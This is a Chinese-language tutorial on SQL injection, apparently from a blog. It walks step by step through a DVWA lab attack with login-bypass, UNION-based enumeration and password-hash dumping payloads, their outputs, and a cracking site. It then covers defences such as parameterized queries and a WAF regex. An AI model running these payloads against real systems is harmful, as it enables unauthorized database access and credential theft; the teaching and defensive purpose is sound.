文章目錄
- 一 真實案例
- 二 SQL注入
- 三 為什么危害堪比核彈?
- 四 深入解剖攻擊原理
- 🎯 4.1:探測SQL漏洞的存在
- 🎯 4.2:數據庫信息探測
- 🎯 4.3:數據庫信息探測
- 🎯 4.4:數據庫信息進一步探測
- 🎯 4.5:數據庫表中敏感信息探測
- 五 防御指南:四重黃金法則
- 🔒5.1 法則1:參數化查詢(最有效!)
- 🔒5.2 法則2:輸入嚴格過濾
- 🔒5.3 法則3:最小權限原則
- 🔒5.4 法則4:深度防御策略
- 六 檢測:你的網站安全嗎?
“比忘記WHERE子句更可怕的,是把用戶輸入直接當代碼執行。” —— 每個被SQL注入毒打過的開發者
一 真實案例
- 場景:某電商網站登錄框
- 正常SQL:
SELECT * FROM users WHERE username = '輸入的用戶名' AND password = '輸入的密碼';
攻擊者輸入: 用戶名:admin' --
,密碼:任意值(如123)。最終SQL變形成:
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'
- 👉 結果:攻擊者以admin身份直接登錄!因為
--
在SQL中是注釋符,密碼驗證被直接忽略。
二 SQL注入
- 通俗解釋:黑客通過篡改SQL查詢結構,把惡意代碼“注入”到正常SQL語句中,欺騙數據庫執行非法操作。
- 技術本質:用戶輸入數據未被正確處理,與代碼指令發生混淆,導致數據被當作代碼執行。
三 為什么危害堪比核彈?
危害類型 | 具體后果 | 真實案例 |
---|---|---|
數據竊取 | 盜取用戶密碼、銀行卡信息 | 雅虎5億賬戶泄露事件 |
數據篡改 | 修改商品價格、賬戶余額 | 某電商1元買iPhone漏洞 |
系統接管 | 獲取服務器控制權限 | 某政府系統被植入后門 |
數據刪除 | 清空整個數據庫表 | 某公司用戶數據遭惡意刪除 |
四 深入解剖攻擊原理
- 以下案例中在DVWA平臺low安全水平下進行SQL注入練習。
🎯 4.1:探測SQL漏洞的存在
- 通過以下的執行結果探測,確定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';
攻擊payload:username = ' OR 1=1 --
或者username=' or 1=1 #
生成SQL:
SELECT * FROM users WHERE username='' OR 1=1 --;
? 攻擊效果:條件永真,返回所有用戶數據
🎯 4.2:數據庫信息探測
- 判斷數據庫的列數
order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
- 用戶輸入
1' order by 1#
,得到返回結果確定數據庫表中存在一列,繼續增加列數的數值,探測數據表的總列數。如果不存在,會報錯Unknown column '3' in 'order clause' in
。用戶輸入的數據為 1′order by 3#時網頁出現報錯,證明該數據庫表有 2 列/字段
🎯 4.3:數據庫信息探測
- 在確定該接口使用的數據庫表的列數之后,可以繼續使用union進行獲取數據庫的更多資源。如,上一步測試的數據庫表只有兩列。
' UNION SELECT user(),database() #
? 攻擊效果:暴漏當前連接數據庫的用戶和數據庫名
ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd
- 常用信息收集函數:
- 系統信息函數
@@version 或 version(): 數據庫版本。
@@basedir: MySQL安裝的基本目錄。
@@datadir: 數據文件存儲目錄。
@@hostname: 服務器主機名。
@@version_compile_os: 操作系統信息。
- 數據庫信息函數
schema(): 同database(),返回當前數據庫名。
table_schema (通過information_schema.tables): 獲取所有數據庫名。
- 用戶信息函數
current_user(): 當前用戶。
system_user(): 系統用戶。
session_user(): 會話用戶。
- 文件和路徑函數
load_file('/etc/passwd'): 讀取文件內容(需要權限)。
@@tmpdir: 臨時目錄。
@@secure_file_priv: 安全文件目錄。
- 其他實用函數
UUID(): 返回一個通用唯一標識符。
connection_id(): 當前連接的ID。
last_insert_id(): 最后插入的自動增量值。
row_count(): 上一個語句影響的行數。
🎯 4.4:數據庫信息進一步探測
information_schema
是Mysql5.0后新增的元信息數據庫,保存Mysql服務器所保存的所有的其他數據庫信息,如schemata
(數據庫信息)、tables
(表信息)、columns
(列信息)。- 聯合查詢表(查詢數據的名稱和表的名稱);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
- 結合上一步獲取到的數據庫名
dvwa_xmxbmd
和使用的表只有兩列,可以采用以下語句進行執行,查詢目前數據庫中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
- 繼續查看具有意義的users表中的列信息,執行以下輸入
1' union select column_name,data_type from information_schema.columns where table_name='users' #
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
- 我們可以看到,
users
表中存在user
和password
重要的信息,可以繼續進一步查看。
🎯 4.5:數據庫表中敏感信息探測
- 聯合查詢信息
union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
- 可以輸入以下命令進行注入
1' union select user,password from users #
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
- 可以在https://www.cmd5.com/解密部分md5加密數據,如admin的密碼解密為
password
。
五 防御指南:四重黃金法則
🔒5.1 法則1:參數化查詢(最有效!)
# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))
🔒5.2 法則2:輸入嚴格過濾
// Node.js 過濾示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}
🔒5.3 法則3:最小權限原則
CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 僅授權必要權限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危險權限
🔒5.4 法則4:深度防御策略
- Web應用防火墻(WAF)規則示例:
# Nginx配置攔截SQL注入特征 location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;} }
六 檢測:你的網站安全嗎?
測試工具(僅用于合法授權測試):
- SQLMap:
sqlmap -u "http://example.com?id=1"
- Burp Suite:攔截請求修改參數為
id=1' AND 1=Sleep(5)--
- 手動檢測:輸入單引號
'
觀察是否報錯
安全自查表:
- 所有數據庫操作使用參數化查詢
- 錯誤信息不泄露數據庫結構
- 數據庫連接使用最低權限賬戶
- 關鍵操作有二次驗證機制
- 記住:“永遠不要信任用戶輸入,驗證、過濾、參數化——這三板斧能救你的系統一命。”